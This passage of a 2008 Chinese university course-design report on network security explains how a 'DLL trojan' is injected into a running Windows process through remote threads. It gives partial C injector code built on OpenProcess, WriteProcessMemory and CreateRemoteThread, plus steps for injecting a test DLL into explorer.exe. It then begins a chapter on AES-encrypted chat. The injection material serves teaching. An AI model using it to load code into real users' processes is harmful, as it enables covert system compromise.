网络与系统安全课程设计
网络与系统安全课程设计报告
题目
1. 实现动态嵌入技术 DLL 木马
2. 密文传送的聊天软件的实现
3. 酒店管理系统的实现
班级:
专 业:
姓 名:
学 号:
指导教师:
职 称:
1
网络与系统安全课程设计
设计日期
2008 年 5 月 12 日 至 2008 年 7 月 1 日
题 目
本次设计的任务及主要内容
文档成绩
通过远程进程技术实现一个 DLL 木马,把一
个 DLL 文件注入远程进程,并显示是否成功注入
信息。Windows 中的每个进程都有自己的私有内
存空间,一般不允许别的进程对这个私有空间进
行操作,但是实际上,仍然可以利用种种方法进
入并操作进程的私有内存。在多种动态嵌入技术
(窗口钩子即 Hook 函数、挂接 API、远程线程)
中,常用的是远程线程技术。远程线程技术指的
是通过在一个运行的进程中创建远程线程的方法
进入该进程的内存空间。
实现客户服务器之间的通信,可以对通信双
方的即时信息采用 AES 加密,同时双方可以进行
文件传输,发送发对传输的文件采用 AES 加密,
接收方对接收到的数据解密获取明文。
实现一个安全的信息系统,包括用户注册、
认证、授权、访问控制等内容,通过实践,掌握
构建安全信息系统的整个流程。
1、动态嵌
入 技 术
DLL 木 马
的实现
2、密文传
送 的 聊 天
软 件 的 实
现
3、酒店管
理 系 统 的
实现
指导教师签字:
年 月 日
2
网络与系统安全课程设计
目 录
1. 动态嵌入技术 DLL 木马的实现..........................................................................1
1.1. 引言..............................................................................................................1
1.2. 原理介绍......................................................................................................1
1.3. 主程序介绍..................................................................................................1
1.4. 调试过程......................................................................................................4
2. 密文传送的聊天软件的实现................................................................................ 5
2.1. 引言..............................................................................................................5
2.2. 系统逻辑结构..............................................................................................5
2.3. AES 算法实现.............................................................................................6
2.4. AES 加密过程.............................................................................................8
2.5. AES 解密过程.............................................................................................9
2.6. AES 程序实现...........................................................................................10
2.7. 聊天信息和文件加密................................................................................11
2.8.
Socket 通信 ............................................................................................... 13
2.9. 系统特点和功能........................................................................................15
3. 酒店管理系统的实现.......................................................................................... 15
3.1. 开发工具及运行环境................................................................................15
3.2. 编程环境及数据库选择............................................................................15
3.3. 数据库接口的实现....................................................................................16
3.4. 系统实现的功能及框架图........................................................................17
3.5. 系统总体设计............................................................................................19
3.6. 系统的具体实现........................................................................................22
1.1. ADO 技术连接数据库..............................................................................22
3.7. 用户界面设计............................................................................................23
4. 程序集成测试...................................................................................................... 30
5. 设计心得.............................................................................................................. 30
6. 参考文献.............................................................................................................. 30
3
网络与系统安全课程设计
1. 动态嵌入技术 DLL 木马的实现
1.1. 引言
动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来
说,在 Windows 中的每个进程都有自己的私有内存空间,别的进程是不允许对
这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作
进程的私有内存。在多种动态嵌入技术中(窗口 Hook、挂接 API、远程线程),
常用的是远程线程技术。远程线程技术指的是通过在另一个运行的进程中创建远
程线程的方法进入那个线程的内存地址空间。
通过此次实验,认识采用动态嵌入技术的 DLL 木马,掌握动态嵌入技术的
原理,并实现通过动态嵌入技术将自己的代码嵌入正在运行的进程中。
1.2. 原理介绍
我们知道,在进程中,可以通过 CreateThread 函数创建线程,被创建的新线
程 与 主 线 程 共 享 地 址 空 间 以 及 其 他 的 资 源 。 但 是 很 少 有 人 知 道 , 通 过
CreateRemoteThread 也同样可以在另一个进程内创建新线程,被创建的远程线程
同样可以共享远程进程的地址空间,所以,创建一个远程线程,进入远程进程的
内存地址空间,就拥有了该远程进程的权限,可以启动一个 DLL 木马,甚至随
意篡改该进程的数据。其实现步骤为:
1) 通过OpenProcess函数打开试图嵌入的进程,因为需要写入远程进程的内存
地址空间,所以必须申请足够的权限,包括远程创建线程、远程VM操作、
远程VM写权限。
2) 为LoadLibraryW函数线程启动DLL木马准备参数。LoadLibraryW函数是在
kernel32.dll中定义的一个功能函数,用于加载DLL文件,它只有一个参数,
就是DLL文件的绝对路径名(也就是木马DLL文件的全路径文件名)。由于
木马DLL是在远程进程内调用的,所以还需要将这个文件名复制到远程地
址空间。
3) 计算LoadLibraryW的入口地址,启动远程线程LoadlibraryW,通过远程线程调
用木马DLL。
RmtDLL.cpp)。
4) 编写利用远程线程技术嵌入进程的程序代码(源程序源码见上传文件
5) 编写用于测试的DLL木马文件代码(源程序源码见上传文件test.cpp)。
1.3. 主程序介绍
#include
#include
#include
#include
DWORD ProcessToPID(char *);//将进程名转换为 PID 的函数
void CheckError(int,int,char *);//出错处理函数
void usage(char *);//使用说明函数
1
网络与系统安全课程设计
PDWORD pdwThreadId;
HANDLE hRemoteThread,hRemoteProcess;
DWORD fdwCreate,dwStackSize,dwRemoteProcessId;
PWSTR pszLibFileRemote=NULL;
void main(int argc,char **argv)
{
int iReturnCode;
char lpDllFullPathName[MAX_PATH];
WCHAR pszLibFileName[MAX_PATH]={0};
//处理命令行参数
if(argc!=3)
usage("parametes number incorrect!");
else
{
//如果输入的是进程名,则转化为 PID
if(isdigit(*argv[1]))
dwRemoteProcessId = atoi(argv[1]);
……
//判断 DLL 文件是否存在
iReturnCode=(int)_lopen(lpDllFullPathName,OF_READ);
CheckError(iReturnCode,HFILE_ERROR,"DLL File not Exist");
//将 DLL 文件全路径的 ANSI 码转换成 UNICODE 码
iReturnCode=MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,
lpDllFullPathName,strlen(lpDllFullPathName),
pszLibFileName,MAX_PATH);
//输出最后的操作参数
……
}
//打开远程进程
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|//允许创建线程
PROCESS_VM_OPERATION|//允许 VM 操作
PROCESS_VM_WRITE,//允许 VM 写
……
//计算 DLL 路径名需要的内存空间
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
……
//将 DLL 的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);
CheckError(iReturnCode,false,"WriteProcessMemory");
//计算 LoadLibraryW 的入口地址
2
网络与系统安全课程设计
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
……
//启动远程线程,通过远程线程调用用户的 DLL 文件
hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAd
dr,
pszLibFileRemote,0,NULL);
CheckError((int)pfnStartAddr,NULL,"Create Remote Thread");
//远程线程退出
WaitForSingleObject(hRemoteThread,INFINITE);
……
}//end of main()
//将进程名转换为 PID 的函数
DWORD ProcessToPID(char *InputProcessName)
{
……
//计算目前有多少进程,aProcesses[]用来存放有效的进程 PIDs
if(!EnumProcesses(aProcesses,sizeof(aProcesses),&cbNeeded))
return 0;
cProcesses = cbNeeded / sizeof(DWORD);
//按有效的 PID 遍历所有的进程
for(i=0; i
网络与系统安全课程设计
void usage(char * pErrorMsg)
{
……
printf("Example:\n");
printf("\tRmtDLL.exe 1024 C:\\WINDOWS\\System32\\MyDLL.dll\n");
printf("\tRmtDLL.exe Explorer.exe C:\\MyDLL.dll\n");
exit(0);
}
完整的程序请见上传文件。
1.4. 调试过程
1) 编译源码前还要通过菜单“工程”|“设置”,打开如图 1-1 所示对话框,选
自“Link”选项卡,在“L 对象/库模块”下的输入框的最后添加如“psapi.lib”
文件,与前一文件间用空格隔开。
2) 完成添加文件的操作后单击“确定”退出该对话框,然后便可已成功进行
编译,然后会有如图 1-2 所示提示,并生成 RmtDLL.exe 文件。
图 1-1
3) 编译生成用于测试的 DLL 木马 test.dll。建立一个动态链接库工程,将 test.cpp
编辑成 test.dll。
4) 将 RmtDLL.exe 和 test.dll 拷贝到某一磁盘(这里以 E 盘为例),打开命令提
示符窗口,进入到上述文件所在的目录,输入如图 1-3 所示的命令,将木马
图 1-2
4
网络与系统安全课程设计
诸如 explorer.exe。
5) 输入上图第一行所示代码之后,按回车键将弹出图 1-4 所示的提示框。
图 1-3
此时已经成功将 test.dll 嵌入进程 explorer.exe,要想重新进行试验需要重新启
图 1-4
动 explorer.exe(可以通过任务管理器完成该操作)。
2. 密文传送的聊天软件的实现
2.1. 引言
随着网络技术的飞速发展,网络安全问题日益重要,而加密技术则是网络安
全技术中的核心技术,加密自然就会用到密码。
密码是实现秘密通讯的主要手段,是隐蔽语言、文字、图像的特种符号。凡
是用特种符号按照通讯双方约定的方法把电文的原形隐蔽起来,不为第三者所识
别的通讯方式称为密码通讯。在计算机通讯中,采用密码技术将信息隐蔽起来,
再将隐蔽后的信息传输出去,使信息在传输过程中即使被窃取或截获,窃取者也
不能了解信息的内容,从而保证信息传输的安全。本系统利用 AES 对数据进行
加密,通过密文传送以实现安全通信。
2.2. 系统逻辑结构
系统由若干模块组成,如图 2-1 所示。
5